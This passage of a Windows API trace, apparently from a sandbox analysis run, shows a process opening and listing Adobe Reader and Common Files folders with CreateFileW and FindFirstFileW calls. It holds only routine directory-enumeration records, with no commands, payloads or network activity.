	[0054.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.605] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.606] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.643] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.643] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.644] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", lpFindFileData=0x1251b788 | out: lpFindFileData=0x1251b788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.690] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.691] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.691] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.693] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x1251b788 | out: lpFindFileData=0x1251b788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.697] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x1251b788 | out: lpFindFileData=0x1251b788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.704] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x1251b788 | out: lpFindFileData=0x1251b788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.710] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files" (normalized: "c:\\program files (x86)\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.722] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x1251b9e0 | out: lpFindFileData=0x1251b9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec666880, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec666880, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe" (normalized: "c:\\program files (x86)\\common files\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.722] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.741] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.744] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
